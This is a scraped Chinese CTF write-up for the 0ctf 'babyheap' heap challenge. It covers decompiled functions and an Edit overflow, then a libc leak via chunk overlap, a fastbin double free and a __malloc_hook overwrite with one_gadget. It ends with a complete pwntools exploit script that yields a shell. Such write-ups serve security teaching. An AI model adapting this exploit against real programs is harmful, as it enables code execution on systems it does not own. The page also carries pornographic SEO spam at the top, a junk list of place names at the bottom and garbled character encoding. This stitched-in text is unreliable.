最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

0ctf babyheap

2023-09-07 17:25 作者:rkvir逆向工程學(xué)院  | 我要投稿

文件信息

pwndbg>?checksec
[*]?'/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'
????Arch:?????amd64-64-little
????RELRO:????Full RELRO
????Stack:????Canary found
????NX:???????NX enabled
????PIE:??????PIE enabled

保護(hù)全開

pwndbg>?r
Starting program:?/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap?
=====?Baby Heap in 2017?=====
1.?Allocate
2.?Fill
3.?Free
4.?Dump
5.?Exit
Command:?

是菜單程序:1申請(qǐng),2編輯,3釋放,4讀取

逆向分析

主程序:

__int64 __fastcall main(__int64 a1,?char?**a2,?char?**a3)
{
??__int64 v4;?// [rsp+8h] [rbp-8h]

??v4 =?sub_55E213200B70(a1,?a2,?a3);
??while?(?1?)
??{
????menu();
????switch?(?getNum()?)
????{
??????case?1LL:
????????Add(v4);
????????break;
??????case?2LL:
????????Edit(v4);
????????break;
??????case?3LL:
????????Free(v4);
????????break;
??????case?4LL:
????????Show(v4);
????????break;
??????case?5LL:
????????return?0LL;
??????default:
????????continue;
????}
??}
}

Add函數(shù):

void?__fastcall Add(__int64 a1)
{
??int?i;?// [rsp+10h] [rbp-10h]
??int?size;?// [rsp+14h] [rbp-Ch]
??void?*memPtr;?// [rsp+18h] [rbp-8h]

??for?(?i =?0;?i <=?15;?++i )
??{
????if?(?!*(_DWORD *)(24LL?*?i +?a1)?)
????{
??????printf("Size: ");
??????size =?getNum();
??????if?(?size >?0?)
??????{
????????if?(?size >?4096?)
??????????size =?4096;
????????memPtr =?calloc(size,?1uLL);????????????// calloc will clear mem
????????if?(?!memPtr )
??????????exit(-1);
????????*(_DWORD *)(24LL?*?i +?a1)?=?1;?????????// this is a struct
????????*(_QWORD *)(a1 +?24LL?*?i +?8)?=?size;
????????*(_QWORD *)(a1 +?24LL?*?i +?16)?=?memPtr;
????????printf("Allocate Index %d\n",?(unsigned?int)i);
??????}
??????return;
????}
??}
}

這里貌似用了一個(gè)結(jié)構(gòu)來保存申請(qǐng)的信息,創(chuàng)建一下:

00000000?MemInfo ????????struc ;?(sizeof=0x18,?mappedto_18)
00000000?isEnable ???????dq ?
00000008?size ???????????dq ?
00000010?memPtr ?????????dq ?
00000018?MemInfo ????????ends

Edit函數(shù):

__int64 __fastcall Edit(MemInfo *a1)
{
??__int64 buf;?// rax
??int?index_;?// [rsp+18h] [rbp-8h]
??int?size;?// [rsp+1Ch] [rbp-4h]

??printf("Index: ");
??buf =?getNum();
??index_ =?buf;
??if?(?(unsigned?int)buf <=?0xF?)???????????????// max chunk count = 16
??{
????buf =?LODWORD(a1[(int)buf].isEnable);???????// get index
????if?(?(_DWORD)buf ==?1?)?????????????????????// 1 represent enable
????{
??????printf("Size: ");
??????buf =?getNum();
??????size =?buf;
??????if?(?(int)buf >?0?)
??????{
????????printf("Content: ");
????????return?call_Read2(a1[index_].memPtr,?size);
??????}
????}
??}
??return?buf;
}

找到對(duì)應(yīng)的chunk,然后向其中讀取內(nèi)容

Free函數(shù):

__int64 __fastcall Free(MemInfo *a1)
{
??__int64 result;?// rax
??int?index;?// [rsp+1Ch] [rbp-4h]

??printf("Index: ");
??result =?getNum();
??index =?result;
??if?(?(unsigned?int)result <=?0xF?)
??{
????result =?LODWORD(a1[(int)result].isEnable);
????if?(?(_DWORD)result ==?1?)
????{
??????LODWORD(a1[index].isEnable)?=?0;??????????// set 0
??????a1[index].size =?0LL;?????????????????????// set size = 0
??????free((void?*)a1[index].memPtr);???????????// free mem
??????result =?(__int64)&a1[index];?????????????// clear value
??????*(_QWORD *)(result +?16)?=?0LL;
????}
??}
??return?result;
}

Show函數(shù):

unsigned?int?__fastcall Show(MemInfo *a1)
{
??unsigned?int?result;?// eax
??unsigned?int?v2;?// [rsp+1Ch] [rbp-4h]

??printf("Index: ");
??result =?getNum();
??v2 =?result;
??if?(?result <=?0xF?)
??{
????result =?a1[result].isEnable;
????if?(?result ==?1?)
????{
??????puts("Content: ");
??????call_Write(a1[v2].memPtr,?a1[v2].size);
??????return?puts(byte_55E2132014F1);
????}
??}
??return?result;
}

?

利用

可用性通過數(shù)組成員的值和其標(biāo)志位來確認(rèn),不存在UAF

Edit函數(shù)編輯的時(shí)候檢查的大小來自用戶輸入,存在溢出問題

這里雖然有數(shù)組來保存申請(qǐng)的地址信息,但是PIE的存在,讓unlink技術(shù)難度很高

這里有一個(gè)思路就是,通過溢出,去修改fastbin chunk的指針,測試一下:


chunk1 =?add(24)
chunk2 =?add(24)
chunk3 =?add(24)

free(chunk3)
free(chunk2)

edit(chunk1,24+0x10,b'a'*24?+?pack(0x21)?+?pack(0xdeadbeef))

效果:可行

pwndbg>?vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases.?Use `help set resolve-heap-via-heuristic`?for?more details.


0x563e52224000 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <--?fastbins[0x20][0]
0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................
0x563e52224040 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224050 0x0000000000000000 0x0000000000000000 ................
0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <--?Top chunk

可以通過這種方式去修改fastbin的指針,然后去尋找可用的fake chunk申請(qǐng)內(nèi)存:

pwndbg>?find_fake_fast &__malloc_hook
global_max_fast symbol not found,?using the?default?value:?0x80
Use `set global-max-fast

` to set the address of global_max_fast manually?if?needed.
Searching?for?fastbin size fields up to 0x80,?starting at 0x7f5eeb894a98?resulting in an overlap of 0x7f5eeb894b10
FAKE CHUNKS
Fake chunk |?PREV_INUSE |?IS_MMAPED |?NON_MAIN_ARENA
Addr:?0x7f5eeb894aed
prev_size:?0x5eeb893260000000
size:?0x7f
fd:?0x5eeb555e20000000
bk:?0x5eeb555a0000007f
fd_nextsize:?0x7f
bk_nextsize:?0x00


這里需要0x70大小的fastbin chunk

現(xiàn)在目標(biāo)明確了,最終是要通過fastbin dup進(jìn)行利用

現(xiàn)在的問題在于,需要一個(gè)libc info leak

libc info leak

可以通過讀取unsortedbin chunk的指針來拿到libc的地址

因?yàn)槟茏x取的大小是在add的時(shí)候就限定死了,沒法越界讀

這里的一個(gè)思路是,申請(qǐng)兩個(gè)unsorted size chunk,然后通過溢出修改第二個(gè)chunk的prev_inused標(biāo)志位為0,釋放第二個(gè)的時(shí)候觸發(fā)合并,這樣第一個(gè)chunk既是可用的,又有了libc的地址,但這里有safe unlink的緩解機(jī)制,就沒法用了

下一個(gè)思路是:申請(qǐng)一個(gè)小chunk,通過溢出讓其大小變大,大到覆蓋下一個(gè)chunk,然后再次申請(qǐng)的時(shí)候,經(jīng)過分割,使得新的unsortedbin指針落到我們可用chunk上:

chunk1 =?add(0x88)
chunk2 =?add(0x88)
chunk3 =?add(0x88)
add(0x18) ??# 分隔top chunk
edit(chunk1,0x90,b'\x00'*0x88?+?pack(0x90*2+1))
free(chunk2)
chunk4 =?add(0x88)
a =?show(chunk3)[:8]
print(hex(uu64(a)))

結(jié)果:

pwndbg>?vis
pwndbg will?try?to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might?not?work?in?all?cases. Use `help set?resolve-heap-via-heuristic`?for?more details.


0x560635da7000 0x0000000000000000 0x0000000000000091 ................
0x560635da7010 0x0000000000000000 0x0000000000000000 ................
0x560635da7020 0x0000000000000000 0x0000000000000000 ................
0x560635da7030 0x0000000000000000 0x0000000000000000 ................
0x560635da7040 0x0000000000000000 0x0000000000000000 ................
0x560635da7050 0x0000000000000000 0x0000000000000000 ................
0x560635da7060 0x0000000000000000 0x0000000000000000 ................
0x560635da7070 0x0000000000000000 0x0000000000000000 ................
0x560635da7080 0x0000000000000000 0x0000000000000000 ................

0x560635da7090 0x0000000000000000 0x0000000000000091 ................
0x560635da70a0 0x0000000000000000 0x0000000000000000 ................
0x560635da70b0 0x0000000000000000 0x0000000000000000 ................
0x560635da70c0 0x0000000000000000 0x0000000000000000 ................
0x560635da70d0 0x0000000000000000 0x0000000000000000 ................
0x560635da70e0 0x0000000000000000 0x0000000000000000 ................
0x560635da70f0 0x0000000000000000 0x0000000000000000 ................
0x560635da7100 0x0000000000000000 0x0000000000000000 ................
0x560635da7110 0x0000000000000000 0x0000000000000000 ................

0x560635da7120 0x0000000000000000 0x0000000000000091 ................ <--?unsortedbin[all][0]
0x560635da7130 0x00007f0f908eab78 0x00007f0f908eab78 x.......x.......
0x560635da7140 0x0000000000000000 0x0000000000000000 ................
0x560635da7150 0x0000000000000000 0x0000000000000000 ................
0x560635da7160 0x0000000000000000 0x0000000000000000 ................
0x560635da7170 0x0000000000000000 0x0000000000000000 ................
0x560635da7180 0x0000000000000000 0x0000000000000000 ................
0x560635da7190 0x0000000000000000 0x0000000000000000 ................
0x560635da71a0 0x0000000000000000 0x0000000000000000 ................

0x560635da71b0 0x0000000000000090 0x0000000000000020 ........ .......
0x560635da71c0 0x0000000000000000 0x0000000000000000 ................

0x560635da71d0 0x0000000000000000 0x0000000000020e31 ........1....... <--?Top chunk

順利讀出地址:0x7f0f908eab78

fastbin dup

接下來進(jìn)行fastbin dup,要進(jìn)行一次雙重釋放控制fastbin指針

這里很巧的就是,unsortedbin chunk我們可以申請(qǐng)0x68大小的chunk來分割這個(gè)unsortedbin chunk

這樣就能拿到兩個(gè)內(nèi)存是申請(qǐng)?jiān)谕粋€(gè)位置的了,然后繞過fastbin 雙重釋放的緩解即可:

chunk33 =?add(0x68)
chunk5 =?add(0x68)
free(chunk33)
free(chunk5)
free(chunk3)

結(jié)果:

pwndbg>?bin
fastbins
0x70: 0x565437731120?—? 0x5654377311d0??— 0x565437731120
unsortedbin
empty
smallbins
0x20: 0x565437731190?—? 0x7fbe9d02cb88??— 0x565437731190
largebins
empty

接下來就是構(gòu)造fake chunk地址,修改malloc hook,去執(zhí)行one_gadget拿shell了


fake_chunk =?libc.sym.__malloc_hook -?35
chunkA =?add(0x68)
edit(chunkA,0x8,pack(fake_chunk))
add(0x68)
add(0x68)
fake =?add(0x68)
one_gadget =?libc.address +?0x4526a
edit(fake,35-8,b'0'*(35-16) +?pack(one_gadget))
add(0x68)

感覺這里通過溢出來修改fastbin chunk指針更簡潔

完整exp

#!/bin/python3
from?pwn import?*

FILE_NAME =?"0ctfbabyheap"
REMOTE_HOST =?""
REMOTE_PORT =?0


elf =?context.binary =?ELF(FILE_NAME)
libc =?elf.libc

gs =?'''
continue
'''
def?start():
????if?args.REMOTE:
????????return?remote(REMOTE_HOST,REMOTE_PORT)
????if?args.GDB:
????????return?gdb.debug(elf.path, gdbscript=gs)
????else:
????????return?process(elf.path)



""" """
p ??=?lambda??????: pause()
s ??=?lambda?x ???: success(x)
re ?=?lambda?m, t : io.recv(numb=m, timeout=t)
ru ?=?lambda?x ???: io.recvuntil(x)
rl ?=?lambda??????: io.recvline()
sd ?=?lambda?x ???: io.send(x)
sl ?=?lambda?x ???: io.sendline(x)
ia ?=?lambda??????: io.interactive()
sla =?lambda?a, b : io.sendlineafter(a, b)
sa ?=?lambda?a, b : io.sendafter(a, b)
uu32 =?lambda?x ??: u32(x.ljust(4,b'\x00'))
uu64 =?lambda?x ??: u64(x.ljust(8,b'\x00'))
""" """


# ======= helper function ===============

# Calculate the "wraparound" distance between two addresses.
def?delta(x, y):
????return?(0xffffffffffffffff?-?x) +?y


opt_add =?1
opt_edit =?2
opt_free =?3
opt_show =?4
menu =?""

def?add(size):
????sla(menu, str(opt_add))
????sla(b"Size: ", str(size))
????ru(b"Allocate Index ")
????index =?ru(b"\n")[:-1]
????return?index.decode('utf-8')

def?edit(idx, size ,content):
????sla(menu, str(opt_edit))
????sla(b"Index: ", str(idx))
????sla(b"Size: ", str(size))
????sla(b"Content: ", content)

def?free(idx):
????sla(menu, str(opt_free))
????sla(b"Index: ", str(idx))

def?show(idx):
????sla(menu, str(opt_show))
????sla(b"Index: ", str(idx))
????ru(b"Content: \n")
????value =?ru(b"1. ")[:-4]
????return?value

# =======================================

io =?start()
io.timeout =?0.1


# =============================================================================
# ============== exploit ===================

# libc info leak
chunk1 =?add(0x88)
chunk2 =?add(0x88)
chunk3 =?add(0x88)
add(0x18) ??# 分隔top chunk
edit(chunk1,0x90,b'\x00'*0x88?+?pack(0x90*2+1))
free(chunk2)
chunk4 =?add(0x88)
a =?uu64(show(chunk3)[:8])
libc.address =?a -?3951480
print("[libc address]: "+hex(libc.address))

# fastbin dup
# double free
chunk33 =?add(0x68)
chunk5 =?add(0x68)
free(chunk33)
free(chunk5)
free(chunk3)

# fake chunk
fake_chunk =?libc.sym.__malloc_hook -?35
chunkA =?add(0x68)
edit(chunkA,0x8,pack(fake_chunk))
add(0x68)
add(0x68)
fake =?add(0x68)
one_gadget =?libc.address +?0x4526a
edit(fake,35-8,b'0'*(35-16) +?pack(one_gadget))
add(0x68)
# =============================================================================

io.interactive()
"""
? ?0ctf_babyheap one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
??rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
??[rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
??[rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
??[rsp+0x70] == NULL
"""


0ctf babyheap的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
时尚| 边坝县| 福清市| 邻水| 永胜县| 志丹县| 阳曲县| 兴山县| 海宁市| 文登市| 扶风县| 楚雄市| 商南县| 嘉义县| 吉木萨尔县| 绥芬河市| 安新县| 昭觉县| 沾益县| 自治县| 巫溪县| 岳阳市| 巴东县| 枞阳县| 平山县| 韶山市| 尼玛县| 永吉县| 大荔县| 上杭县| 七台河市| 泰兴市| 伊金霍洛旗| 井冈山市| 广东省| 聊城市| 二连浩特市| 开平市| 石门县| 墨江| 临洮县|